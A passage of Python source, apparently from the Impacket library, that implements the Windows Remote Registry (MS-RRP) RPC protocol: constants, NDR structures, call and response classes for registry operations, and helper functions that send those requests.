PWCHAR, PRPC_UNICODE_STRING\nfrom impacket.dcerpc.v5.rpcrt import DCERPCException\nfrom impacket import system_errors, LOG\nfrom impacket.uuid import uuidtup_to_bin\n\nMSRPC_UUID_RRP = uuidtup_to_bin(('338CD001-2244-31F1-AAAA-900038001003', '1.0'))\n\nclass DCERPCSessionError(DCERPCException):\n    def __init__(self, error_string=None, error_code=None, packet=None):\n        DCERPCException.__init__(self, error_string, error_code, packet)\n\n    def __str__( self ):\n        key = self.error_code\n        if key in system_errors.ERROR_MESSAGES:\n            error_msg_short = system_errors.ERROR_MESSAGES[key][0]\n            error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]\n            return 'RRP SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)\n        else:\n            return 'RRP SessionError: unknown error code: 0x%x' % self.error_code\n\n################################################################################\n# CONSTANTS\n################################################################################\n# 2.2.2 PREGISTRY_SERVER_NAME\nPREGISTRY_SERVER_NAME = PWCHAR\n\n# 2.2.3 error_status_t\nerror_status_t = ULONG\n\n# 2.2.5 RRP_UNICODE_STRING\nRRP_UNICODE_STRING = RPC_UNICODE_STRING\nPRRP_UNICODE_STRING = PRPC_UNICODE_STRING\n\n# 2.2.4 REGSAM\nREGSAM = ULONG\n\nKEY_QUERY_VALUE             = 0x00000001\nKEY_SET_VALUE               = 0x00000002\nKEY_CREATE_SUB_KEY          = 0x00000004\nKEY_ENUMERATE_SUB_KEYS      = 0x00000008\nKEY_CREATE_LINK             = 0x00000020\nKEY_WOW64_64KEY             = 0x00000100\nKEY_WOW64_32KEY             = 0x00000200\nKEY_READ                    = 0x00020019\n\nREG_BINARY              = 3\nREG_DWORD               = 4\nREG_DWORD_LITTLE_ENDIAN = 4\nREG_DWORD_BIG_ENDIAN    = 5\nREG_EXPAND_SZ           = 2\nREG_LINK                = 6\nREG_MULTI_SZ            = 7\nREG_NONE                = 0\nREG_QWORD               = 11\nREG_QWORD_LITTLE_ENDIAN = 11\nREG_SZ                  = 1\n\n# 3.1.5.15 BaseRegOpenKey (Opnum 15)\nREG_OPTION_BACKUP_RESTORE   = 0x00000004\nREG_OPTION_OPEN_LINK        = 0x00000008\n\n# 3.1.5.7 BaseRegCreateKey (Opnum 6)\nREG_CREATED_NEW_KEY     = 0x00000001\nREG_OPENED_EXISTING_KEY = 0x00000002\n\n# 3.1.5.19 BaseRegRestoreKey (Opnum 19)\n# Flags\nREG_WHOLE_HIVE_VOLATILE = 0x00000001\nREG_REFRESH_HIVE        = 0x00000002\nREG_NO_LAZY_FLUSH       = 0x00000004\nREG_FORCE_RESTORE       = 0x00000008\n\n################################################################################\n# STRUCTURES\n################################################################################\n# 2.2.1 RPC_HKEY\nclass RPC_HKEY(NDRSTRUCT):\n    structure =  (\n        ('context_handle_attributes',ULONG),\n        ('context_handle_uuid',UUID),\n    )\n\n    def __init__(self, data=None, isNDR64=False):\n        NDRSTRUCT.__init__(self, data, isNDR64)\n        self['context_handle_uuid'] = b'\\x00'*16\n\n    def isNull(self):\n        return self['context_handle_uuid'] == b'\\x00'*16\n\n# 2.2.6 RVALENT\nclass RVALENT(NDRSTRUCT):\n    structure =  (\n        ('ve_valuename',PRRP_UNICODE_STRING),\n        ('ve_valuelen',DWORD),\n        ('ve_valueptr',DWORD),\n        ('ve_type',DWORD),\n    )\n\nclass RVALENT_ARRAY(NDRUniConformantVaryingArray):\n    item = RVALENT\n\n# 2.2.9 RPC_SECURITY_DESCRIPTOR\nclass BYTE_ARRAY(NDRUniConformantVaryingArray):\n    pass\n\nclass PBYTE_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', BYTE_ARRAY),\n    )\n\nclass RPC_SECURITY_DESCRIPTOR(NDRSTRUCT):\n    structure =  (\n        ('lpSecurityDescriptor',PBYTE_ARRAY),\n        ('cbInSecurityDescriptor',DWORD),\n        ('cbOutSecurityDescriptor',DWORD),\n    )\n\n# 2.2.8 RPC_SECURITY_ATTRIBUTES\nclass RPC_SECURITY_ATTRIBUTES(NDRSTRUCT):\n    structure =  (\n        ('nLength',DWORD),\n        ('RpcSecurityDescriptor',RPC_SECURITY_DESCRIPTOR),\n        ('bInheritHandle',BOOLEAN),\n    )\n\nclass PRPC_SECURITY_ATTRIBUTES(NDRPOINTER):\n    referent = (\n        ('Data', RPC_SECURITY_ATTRIBUTES),\n    )\n\n################################################################################\n# RPC CALLS\n################################################################################\n# 3.1.5.1 OpenClassesRoot (Opnum 0)\nclass OpenClassesRoot(NDRCALL):\n    opnum = 0\n    structure = (\n       ('ServerName', PREGISTRY_SERVER_NAME),\n       ('samDesired', REGSAM),\n    )\n\nclass OpenClassesRootResponse(NDRCALL):\n    structure = (\n       ('phKey', RPC_HKEY),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.5.2 OpenCurrentUser (Opnum 1)\nclass OpenCurrentUser(NDRCALL):\n    opnum = 1\n    structure = (\n       ('ServerName', PREGISTRY_SERVER_NAME),\n       ('samDesired', REGSAM),\n    )\n\nclass OpenCurrentUserResponse(NDRCALL):\n    structure = (\n       ('phKey', RPC_HKEY),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.5.3 OpenLocalMachine (Opnum 2)\nclass OpenLocalMachine(NDRCALL):\n    opnum = 2\n    structure = (\n       ('ServerName', PREGISTRY_SERVER_NAME),\n       ('samDesired', REGSAM),\n    )\n\nclass OpenLocalMachineResponse(NDRCALL):\n    structure = (\n       ('phKey', RPC_HKEY),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.5.4 OpenPerformanceData (Opnum 3)\nclass OpenPerformanceData(NDRCALL):\n    opnum = 3\n    structure = (\n       ('ServerName', PREGISTRY_SERVER_NAME),\n       ('samDesired', REGSAM),\n    )\n\nclass OpenPerformanceDataResponse(NDRCALL):\n    structure = (\n       ('phKey', RPC_HKEY),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.5.5 OpenUsers (Opnum 4)\nclass OpenUsers(NDRCALL):\n    opnum = 4\n    structure = (\n       ('ServerName', PREGISTRY_SERVER_NAME),\n       ('samDesired', REGSAM),\n    )\n\nclass OpenUsersResponse(NDRCALL):\n    structure = (\n       ('phKey', RPC_HKEY),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.5.6 BaseRegCloseKey (Opnum 5)\nclass BaseRegCloseKey(NDRCALL):\n    opnum = 5\n    structure = (\n       ('hKey', RPC_HKEY),\n    )\n\nclass BaseRegCloseKeyResponse(NDRCALL):\n    structure = (\n       ('hKey', RPC_HKEY),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.5.7 BaseRegCreateKey (Opnum 6)\nclass BaseRegCreateKey(NDRCALL):\n    opnum = 6\n    structure = (\n       ('hKey', RPC_HKEY),\n       ('lpSubKey', RRP_UNICODE_STRING),\n       ('lpClass', RRP_UNICODE_STRING),\n       ('dwOptions', DWORD),\n       ('samDesired', REGSAM),\n       ('lpSecurityAttributes', PRPC_SECURITY_ATTRIBUTES),\n       ('lpdwDisposition', LPULONG),\n    )\n\nclass BaseRegCreateKeyResponse(NDRCALL):\n    structure = (\n       ('phkResult', RPC_HKEY),\n       ('lpdwDisposition', LPULONG),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.5.8 BaseRegDeleteKey (Opnum 7)\nclass BaseRegDeleteKey(NDRCALL):\n    opnum = 7\n    structure = (\n       ('hKey', RPC_HKEY),\n       ('lpSubKey', RRP_UNICODE_STRING),\n    )\n\nclass BaseRegDeleteKeyResponse(NDRCALL):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.5.9 BaseRegDeleteValue (Opnum 8)\nclass BaseRegDeleteValue(NDRCALL):\n    opnum = 8\n    structure = (\n       ('hKey', RPC_HKEY),\n       ('lpValueName', RRP_UNICODE_STRING),\n    )\n\nclass BaseRegDeleteValueResponse(NDRCALL):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.5.10 BaseRegEnumKey (Opnum 9)\nclass BaseRegEnumKey(NDRCALL):\n    opnum = 9\n    structure = (\n       ('hKey', RPC_HKEY),\n       ('dwIndex', DWORD),\n       ('lpNameIn', RRP_UNICODE_STRING),\n       ('lpClassIn', PRRP_UNICODE_STRING),\n       ('lpftLastWriteTime', PFILETIME),\n    )\n\nclass BaseRegEnumKeyResponse(NDRCALL):\n    structure = (\n       ('lpNameOut', RRP_UNICODE_STRING),\n       ('lplpClassOut', PRRP_UNICODE_STRING),\n       ('lpftLastWriteTime', PFILETIME),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.5.11 BaseRegEnumValue (Opnum 10)\nclass BaseRegEnumValue(NDRCALL):\n    opnum = 10\n    structure = (\n       ('hKey', RPC_HKEY),\n       ('dwIndex', DWORD),\n       ('lpValueNameIn', RRP_UNICODE_STRING),\n       ('lpType', LPULONG),\n       ('lpData', PBYTE_ARRAY),\n       ('lpcbData', LPULONG),\n       ('lpcbLen', LPULONG),\n    )\n\nclass BaseRegEnumValueResponse(NDRCALL):\n    structure = (\n       ('lpValueNameOut', RRP_UNICODE_STRING),\n       ('lpType', LPULONG),\n       ('lpData', PBYTE_ARRAY),\n       ('lpcbData', LPULONG),\n       ('lpcbLen', LPULONG),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.5.12 BaseRegFlushKey (Opnum 11)\nclass BaseRegFlushKey(NDRCALL):\n    opnum = 11\n    structure = (\n       ('hKey', RPC_HKEY),\n    )\n\nclass BaseRegFlushKeyResponse(NDRCALL):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.5.13 BaseRegGetKeySecurity (Opnum 12)\nclass BaseRegGetKeySecurity(NDRCALL):\n    opnum = 12\n    structure = (\n       ('hKey', RPC_HKEY),\n       ('SecurityInformation', SECURITY_INFORMATION),\n       ('pRpcSecurityDescriptorIn', RPC_SECURITY_DESCRIPTOR),\n    )\n\nclass BaseRegGetKeySecurityResponse(NDRCALL):\n    structure = (\n       ('pRpcSecurityDescriptorOut', RPC_SECURITY_DESCRIPTOR),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.5.14 BaseRegLoadKey (Opnum 13)\nclass BaseRegLoadKey(NDRCALL):\n    opnum = 13\n    structure = (\n       ('hKey', RPC_HKEY),\n       ('lpSubKey', RRP_UNICODE_STRING),\n       ('lpFile', RRP_UNICODE_STRING),\n    )\n\nclass BaseRegLoadKeyResponse(NDRCALL):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.5.15 BaseRegOpenKey (Opnum 15)\nclass BaseRegOpenKey(NDRCALL):\n    opnum = 15\n    structure = (\n       ('hKey', RPC_HKEY),\n       ('lpSubKey', RRP_UNICODE_STRING),\n       ('dwOptions', DWORD),\n       ('samDesired', REGSAM),\n    )\n\nclass BaseRegOpenKeyResponse(NDRCALL):\n    structure = (\n       ('phkResult', RPC_HKEY),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.5.16 BaseRegQueryInfoKey (Opnum 16)\nclass BaseRegQueryInfoKey(NDRCALL):\n    opnum = 16\n    structure = (\n       ('hKey', RPC_HKEY),\n       ('lpClassIn', RRP_UNICODE_STRING),\n    )\n\nclass BaseRegQueryInfoKeyResponse(NDRCALL):\n    structure = (\n       ('lpClassOut', RPC_UNICODE_STRING),\n       ('lpcSubKeys', DWORD),\n       ('lpcbMaxSubKeyLen', DWORD),\n       ('lpcbMaxClassLen', DWORD),\n       ('lpcValues', DWORD),\n       ('lpcbMaxValueNameLen', DWORD),\n       ('lpcbMaxValueLen', DWORD),\n       ('lpcbSecurityDescriptor', DWORD),\n       ('lpftLastWriteTime', FILETIME),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.5.17 BaseRegQueryValue (Opnum 17)\nclass BaseRegQueryValue(NDRCALL):\n    opnum = 17\n    structure = (\n       ('hKey', RPC_HKEY),\n       ('lpValueName', RRP_UNICODE_STRING),\n       ('lpType', LPULONG),\n       ('lpData', PBYTE_ARRAY),\n       ('lpcbData', LPULONG),\n       ('lpcbLen', LPULONG),\n    )\n\nclass BaseRegQueryValueResponse(NDRCALL):\n    structure = (\n       ('lpType', LPULONG),\n       ('lpData', PBYTE_ARRAY),\n       ('lpcbData', LPULONG),\n       ('lpcbLen', LPULONG),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.5.18 BaseRegReplaceKey (Opnum 18)\nclass BaseRegReplaceKey(NDRCALL):\n    opnum = 18\n    structure = (\n       ('hKey', RPC_HKEY),\n       ('lpSubKey', RRP_UNICODE_STRING),\n       ('lpNewFile', RRP_UNICODE_STRING),\n       ('lpOldFile', RRP_UNICODE_STRING),\n    )\n\nclass BaseRegReplaceKeyResponse(NDRCALL):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.5.19 BaseRegRestoreKey (Opnum 19)\nclass BaseRegRestoreKey(NDRCALL):\n    opnum = 19\n    structure = (\n       ('hKey', RPC_HKEY),\n       ('lpFile', RRP_UNICODE_STRING),\n       ('Flags', DWORD),\n    )\n\nclass BaseRegRestoreKeyResponse(NDRCALL):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.5.20 BaseRegSaveKey (Opnum 20)\nclass BaseRegSaveKey(NDRCALL):\n    opnum = 20\n    structure = (\n       ('hKey', RPC_HKEY),\n       ('lpFile', RRP_UNICODE_STRING),\n       ('pSecurityAttributes', PRPC_SECURITY_ATTRIBUTES),\n    )\n\nclass BaseRegSaveKeyResponse(NDRCALL):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.5.21 BaseRegSetKeySecurity (Opnum 21)\nclass BaseRegSetKeySecurity(NDRCALL):\n    opnum = 21\n    structure = (\n       ('hKey', RPC_HKEY),\n       ('SecurityInformation', SECURITY_INFORMATION),\n       ('pRpcSecurityDescriptor', RPC_SECURITY_DESCRIPTOR),\n    )\n\nclass BaseRegSetKeySecurityResponse(NDRCALL):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.5.22 BaseRegSetValue (Opnum 22)\nclass BaseRegSetValue(NDRCALL):\n    opnum = 22\n    structure = (\n       ('hKey', RPC_HKEY),\n       ('lpValueName', RRP_UNICODE_STRING),\n       ('dwType', DWORD),\n       ('lpData', NDRUniConformantArray),\n       ('cbData', DWORD),\n    )\n\nclass BaseRegSetValueResponse(NDRCALL):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.5.23 BaseRegUnLoadKey (Opnum 23)\nclass BaseRegUnLoadKey(NDRCALL):\n    opnum = 23\n    structure = (\n       ('hKey', RPC_HKEY),\n       ('lpSubKey', RRP_UNICODE_STRING),\n    )\n\nclass BaseRegUnLoadKeyResponse(NDRCALL):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.5.24 BaseRegGetVersion (Opnum 26)\nclass BaseRegGetVersion(NDRCALL):\n    opnum = 26\n    structure = (\n       ('hKey', RPC_HKEY),\n    )\n\nclass BaseRegGetVersionResponse(NDRCALL):\n    structure = (\n       ('lpdwVersion', DWORD),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.5.25 OpenCurrentConfig (Opnum 27)\nclass OpenCurrentConfig(NDRCALL):\n    opnum = 27\n    structure = (\n       ('ServerName', PREGISTRY_SERVER_NAME),\n       ('samDesired', REGSAM),\n    )\n\nclass OpenCurrentConfigResponse(NDRCALL):\n    structure = (\n       ('phKey', RPC_HKEY),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.5.26 BaseRegQueryMultipleValues (Opnum 29)\nclass BaseRegQueryMultipleValues(NDRCALL):\n    opnum = 29\n    structure = (\n       ('hKey', RPC_HKEY),\n       ('val_listIn', RVALENT_ARRAY),\n       ('num_vals', DWORD),\n       ('lpvalueBuf', PBYTE_ARRAY),\n       ('ldwTotsize', DWORD),\n    )\n\nclass BaseRegQueryMultipleValuesResponse(NDRCALL):\n    structure = (\n       ('val_listOut', RVALENT_ARRAY),\n       ('lpvalueBuf', PBYTE_ARRAY),\n       ('ldwTotsize', DWORD),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.5.27 BaseRegSaveKeyEx (Opnum 31)\nclass BaseRegSaveKeyEx(NDRCALL):\n    opnum = 31\n    structure = (\n       ('hKey', RPC_HKEY),\n       ('lpFile', RRP_UNICODE_STRING),\n       ('pSecurityAttributes', PRPC_SECURITY_ATTRIBUTES),\n       ('Flags', DWORD),\n    )\n\nclass BaseRegSaveKeyExResponse(NDRCALL):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.5.28 OpenPerformanceText (Opnum 32)\nclass OpenPerformanceText(NDRCALL):\n    opnum = 32\n    structure = (\n       ('ServerName', PREGISTRY_SERVER_NAME),\n       ('samDesired', REGSAM),\n    )\n\nclass OpenPerformanceTextResponse(NDRCALL):\n    structure = (\n       ('phKey', RPC_HKEY),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.5.29 OpenPerformanceNlsText (Opnum 33)\nclass OpenPerformanceNlsText(NDRCALL):\n    opnum = 33\n    structure = (\n       ('ServerName', PREGISTRY_SERVER_NAME),\n       ('samDesired', REGSAM),\n    )\n\nclass OpenPerformanceNlsTextResponse(NDRCALL):\n    structure = (\n       ('phKey', RPC_HKEY),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.5.30 BaseRegQueryMultipleValues2 (Opnum 34)\nclass BaseRegQueryMultipleValues2(NDRCALL):\n    opnum = 34\n    structure = (\n       ('hKey', RPC_HKEY),\n       ('val_listIn', RVALENT_ARRAY),\n       ('num_vals', DWORD),\n       ('lpvalueBuf', PBYTE_ARRAY),\n       ('ldwTotsize', DWORD),\n    )\n\nclass BaseRegQueryMultipleValues2Response(NDRCALL):\n    structure = (\n       ('val_listOut', RVALENT_ARRAY),\n       ('lpvalueBuf', PBYTE_ARRAY),\n       ('ldwRequiredSize', DWORD),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.5.31 BaseRegDeleteKeyEx (Opnum 35)\nclass BaseRegDeleteKeyEx(NDRCALL):\n    opnum = 35\n    structure = (\n       ('hKey', RPC_HKEY),\n       ('lpSubKey', RRP_UNICODE_STRING),\n       ('AccessMask', REGSAM),\n       ('Reserved', DWORD),\n    )\n\nclass BaseRegDeleteKeyExResponse(NDRCALL):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n################################################################################\n# OPNUMs and their corresponding structures\n################################################################################\nOPNUMS = {\n 0 : (OpenClassesRoot, OpenClassesRootResponse),\n 1 : (OpenCurrentUser, OpenCurrentUserResponse),\n 2 : (OpenLocalMachine, OpenLocalMachineResponse),\n 3 : (OpenPerformanceData, OpenPerformanceDataResponse),\n 4 : (OpenUsers, OpenUsersResponse),\n 5 : (BaseRegCloseKey, BaseRegCloseKeyResponse),\n 6 : (BaseRegCreateKey, BaseRegCreateKeyResponse),\n 7 : (BaseRegDeleteKey, BaseRegDeleteKeyResponse),\n 8 : (BaseRegDeleteValue, BaseRegDeleteValueResponse),\n 9 : (BaseRegEnumKey, BaseRegEnumKeyResponse),\n10 : (BaseRegEnumValue, BaseRegEnumValueResponse),\n11 : (BaseRegFlushKey, BaseRegFlushKeyResponse),\n12 : (BaseRegGetKeySecurity, BaseRegGetKeySecurityResponse),\n13 : (BaseRegLoadKey, BaseRegLoadKeyResponse),\n15 : (BaseRegOpenKey, BaseRegOpenKeyResponse),\n16 : (BaseRegQueryInfoKey, BaseRegQueryInfoKeyResponse),\n17 : (BaseRegQueryValue, BaseRegQueryValueResponse),\n18 : (BaseRegReplaceKey, BaseRegReplaceKeyResponse),\n19 : (BaseRegRestoreKey, BaseRegRestoreKeyResponse),\n20 : (BaseRegSaveKey, BaseRegSaveKeyResponse),\n21 : (BaseRegSetKeySecurity, BaseRegSetKeySecurityResponse),\n22 : (BaseRegSetValue, BaseRegSetValueResponse),\n23 : (BaseRegUnLoadKey, BaseRegUnLoadKeyResponse),\n26 : (BaseRegGetVersion, BaseRegGetVersionResponse),\n27 : (OpenCurrentConfig, OpenCurrentConfigResponse),\n29 : (BaseRegQueryMultipleValues, BaseRegQueryMultipleValuesResponse),\n31 : (BaseRegSaveKeyEx, BaseRegSaveKeyExResponse),\n32 : (OpenPerformanceText, OpenPerformanceTextResponse),\n33 : (OpenPerformanceNlsText, OpenPerformanceNlsTextResponse),\n34 : (BaseRegQueryMultipleValues2, BaseRegQueryMultipleValues2Response),\n35 : (BaseRegDeleteKeyEx, BaseRegDeleteKeyExResponse),\n}\n\n################################################################################\n# HELPER FUNCTIONS\n################################################################################\ndef checkNullString(string):\n    if string == NULL:\n        return string\n\n    if string[-1:] != '\\x00':\n        return string + '\\x00'\n    else:\n        return string\n\ndef packValue(valueType, value):\n    if valueType == REG_DWORD:\n        retData = pack('<L', value)\n    elif valueType == REG_DWORD_BIG_ENDIAN:\n        retData = pack('>L', value)\n    elif valueType == REG_EXPAND_SZ:\n        try:\n            retData = checkNullString(value).encode('utf-16le')\n        except UnicodeDecodeError:\n            import sys\n            retData = value.decode(sys.getfilesystemencoding()).encode('utf-16le')\n    elif valueType == REG_MULTI_SZ:\n        try:\n            v = checkNullString(value)\n            # REG_MULTI_SZ must end with 2 null-bytes\n            if v[-2:-1] != '\\x00':\n                v = v + '\\x00'\n            retData = v.encode('utf-16le')\n        except UnicodeDecodeError:\n            import sys\n            retData = value.decode(sys.getfilesystemencoding()).encode('utf-16le')\n    elif valueType == REG_QWORD:\n        retData = pack('<Q', value)\n    elif valueType == REG_QWORD_LITTLE_ENDIAN:\n        retData = pack('>Q', value)\n    elif valueType == REG_SZ:\n        try:\n            retData = checkNullString(value).encode('utf-16le')\n        except UnicodeDecodeError:\n            import sys\n            retData = value.decode(sys.getfilesystemencoding()).encode('utf-16le')\n    else:\n        retData = value\n\n    return retData\n\ndef unpackValue(valueType, value):\n    if valueType == REG_DWORD:\n        retData = unpack('<L', b''.join(value))[0]\n    elif valueType == REG_DWORD_BIG_ENDIAN:\n        retData = unpack('>L', b''.join(value))[0]\n    elif valueType == REG_EXPAND_SZ:\n        retData = b''.join(value).decode('utf-16le')\n    elif valueType == REG_MULTI_SZ:\n        retData = b''.join(value).decode('utf-16le')\n    elif valueType == REG_QWORD:\n        retData = unpack('<Q', b''.join(value))[0]\n    elif valueType == REG_QWORD_LITTLE_ENDIAN:\n        retData = unpack('>Q', b''.join(value))[0]\n    elif valueType == REG_SZ:\n        retData = b''.join(value).decode('utf-16le')\n    else:\n        retData = b''.join(value)\n\n    return retData\n\ndef hOpenClassesRoot(dce, samDesired = MAXIMUM_ALLOWED):\n    request = OpenClassesRoot()\n    request['ServerName'] = NULL\n    request['samDesired'] = samDesired\n    return dce.request(request)\n\ndef hOpenCurrentUser(dce, samDesired = MAXIMUM_ALLOWED):\n    request = OpenCurrentUser()\n    request['ServerName'] = NULL\n    request['samDesired'] = samDesired\n    return dce.request(request)\n\ndef hOpenLocalMachine(dce, samDesired = MAXIMUM_ALLOWED):\n    request = OpenLocalMachine()\n    request['ServerName'] = NULL\n    request['samDesired'] = samDesired\n    return dce.request(request)\n\ndef hOpenPerformanceData(dce, samDesired = MAXIMUM_ALLOWED):\n    request = OpenPerformanceData()\n    request['ServerName'] = NULL\n    request['samDesired'] = samDesired\n    return dce.request(request)\n\ndef hOpenUsers(dce, samDesired = MAXIMUM_ALLOWED):\n    request = OpenUsers()\n    request['ServerName'] = NULL\n    request['samDesired'] = samDesired\n    return dce.request(request)\n\ndef hBaseRegCloseKey(dce, hKey):\n    request = BaseRegCloseKey()\n    request['hKey'] = hKey\n    return dce.request(request)\n\ndef hBaseRegCreateKey(dce, hKey, lpSubKey, lpClass = NULL, dwOptions = 0x00000001, samDesired = MAXIMUM_ALLOWED, lpSecurityAttributes = NULL, lpdwDisposition = REG_CREATED_NEW_KEY):\n    request = BaseRegCreateKey()\n    request['hKey'] = hKey\n    request['lpSubKey'] = checkNullString(lpSubKey)\n    request['lpClass'] = checkNullString(lpClass)\n    request['dwOptions'] = dwOptions\n    request['samDesired'] = samDesired\n    if lpSecurityAttributes == NULL:\n        request['lpSecurityAttributes']['RpcSecurityDescriptor']['lpSecurityDescriptor'] = NULL\n    else:\n        request['lpSecurityAttributes'] = lpSecurityAttributes\n    request['lpdwDisposition'] = lpdwDisposition\n\n    return dce.request(request)\n\ndef hBaseRegDeleteKey(dce, hKey, lpSubKey):\n    request = BaseRegDeleteKey()\n    request['hKey'] = hKey\n    request['lpSubKey'] = checkNullString(lpSubKey)\n    return dce.request(request)\n\ndef hBaseRegEnumKey(dce, hKey, dwIndex, lpftLastWriteTime = NULL):\n    request = BaseRegEnumKey()\n    request['hKey'] = hKey\n    request['dwIndex'] = dwIndex\n    request.fields['lpNameIn'].fields['MaximumLength'] = 1024\n    request.fields['lpNameIn'].fields['Data'].fields['Data'].fields['MaximumCount'] = 1024//2\n    request['lpClassIn'] = ' '* 64\n    request['lpftLastWriteTime'] = lpftLastWriteTime\n\n    return dce.request(request)\n\ndef hBaseRegEnumValue(dce, hKey, dwIndex, dataLen=256):\n    request = BaseRegEnumValue()\n    request['hKey'] = hKey\n    request['dwIndex'] = dwIndex\n    retries = 1\n\n    # We need to be aware the size might not be enough, so let's catch ERROR_MORE_DATA exception\n    while True:\n        try:\n            # Only the maximum length field of the lpValueNameIn is used to determine the buffer length to be allocated\n            # by the service. Specify a string with a zero length but maximum length set to the largest buffer size\n            # needed to hold the value names.\n            request.fields['lpValueNameIn'].fields['MaximumLength'] = dataLen*2\n            request.fields['lpValueNameIn'].fields['Data'].fields['Data'].fields['MaximumCount'] = dataLen\n\n            request['lpData'] = b' ' * dataLen\n            request['lpcbData'] = dataLen\n            request['lpcbLen'] = dataLen\n            resp = dce.request(request)\n        except DCERPCSessionError as e:\n            if retries > 1:\n                LOG.debug('Too many retries when calling hBaseRegEnumValue, aborting')\n                raise\n            if e.get_error_code() == system_errors.ERROR_MORE_DATA:\n                # We need to adjust the size\n                retries +=1\n                dataLen = e.get_packet()['lpcbData']\n                continue\n            else:\n                raise\n        else:\n            break\n\n    return resp\n\ndef hBaseRegFlushKey(dce, hKey):\n    request = BaseRegFlushKey()\n    request['hKey'] = hKey\n    return dce.request(request)\n\ndef hBaseRegGetKeySecurity(dce, hKey, securityInformation = OWNER_SECURITY_INFORMATION ):\n    request = BaseRegGetKeySecurity()\n    request['hKey'] = hKey\n    request['SecurityInformation'] = securityInformation\n    request['pRpcSecurityDescriptorIn']['lpSecurityDescriptor'] = NULL\n    request['pRpcSecurityDescriptorIn']['cbInSecurityDescriptor'] = 1024\n\n    return dce.request(request)\n\ndef hBaseRegLoadKey(dce, hKey, lpSubKey, lpFile):\n    request = BaseRegLoadKey()\n    request['hKey'] = hKey\n    request['lpSubKey'] = checkNullString(lpSubKey)\n    request['lpFile'] = checkNullString(lpFile)\n    return dce.request(request)\n\ndef hBaseRegUnLoadKey(dce, hKey, lpSubKey):\n    request = BaseRegUnLoadKey()\n    request['hKey'] = hKey\n    request['lpSubKey'] = checkNullString(lpSubKey)\n    return dce.request(request)\n\ndef hBaseRegOpenKey(dce, hKey, lpSubKey, dwOptions=0x00000001, samDesired = MAXIMUM_ALLOWED):\n    request = BaseRegOpenKey()\n    request['hKey'] = hKey\n    request['lpSubKey'] = checkNullString(lpSubKey)\n    request['dwOptions'] = dwOptions\n    request['samDesired'] = samDesired\n    return dce.request(request)\n\ndef hBaseRegQueryInfoKey(dce, hKey):\n    request = BaseRegQueryInfoKey()\n    request['hKey'] = hKey\n    # Not the cleanest way, but oh well\n    # Plus, Windows XP needs MaximumCount also set\n    request.fields['lpClassIn'].fields['MaximumLength'] = 1024\n    request.fields['lpClassIn'].fields['Data'].fields['Data'].fields['MaximumCount'] = 1024//2\n    return dce.request(request)\n\ndef hBaseRegQueryValue(dce, hKey, lpValueName, dataLen=512):\n    request = BaseRegQueryValue()\n    request['hKey'] = hKey\n    request['lpValueName'] = checkNullString(lpValueName)\n    retries = 1\n\n    # We need to be aware the size might not be enough, so let's catch ERROR_MORE_DATA exception\n    while True:\n        try:\n            request['lpData'] =b' ' * dataLen\n            request['lpcbData'] = dataLen\n            request['lpcbLen'] = dataLen\n            resp = dce.request(request)\n        except DCERPCSessionError as e:\n            if retries > 1:\n                LOG.debug('Too many retries when calling hBaseRegQueryValue, aborting')\n                raise\n            if e.get_error_code() == system_errors.ERROR_MORE_DATA:\n                # We need to adjust the size\n                dataLen = e.get_packet()['lpcbData']\n                continue\n            else:\n                raise\n        else:\n            break\n\n    # Returns\n    # ( dataType, data )\n    return resp['lpType'], unpackValue(resp['lpType'], resp['lpData'])\n\ndef hBaseRegReplaceKey(dce, hKey, lpSubKey, lpNewFile, lpOldFile):\n    request = BaseRegReplaceKey()\n    request['hKey'] = hKey\n    request['lpSubKey'] = checkNullString(lpSubKey)\n    request['lpNewFile'] = checkNullString(lpNewFile)\n    request['lpOldFile'] = checkNullString(lpOldFile)\n    return dce.request(request)\n\ndef hBaseRegRestoreKey(dce, hKey, lpFile, flags=REG_REFRESH_HIVE):\n    request = BaseRegRestoreKey()\n    request['hKey'] = hKey\n    request['lpFile'] = checkNullString(lpFile)\n    request['Flags'] = flags\n    return dce.request(request)\n\ndef hBaseRegSaveKey(dce, hKey, lpFile, pSecurityAttributes = NULL):\n    request = BaseRegSaveKey()\n    request['hKey'] = hKey\n    request['lpFile'] = checkNullString(lpFile)\n    request['pSecurityAttributes'] = pSecurityAttributes\n    return dce.request(request)\n\ndef hBaseRegSetValue(dce, hKey, lpValueName, dwType, lpData):\n    request = BaseRegSetValue()\n    request['hKey'] = hKey\n    request['lpValueName'] = checkNullString(lpValueName)\n    request['dwType'] = dwType\n    request['lpData'] = 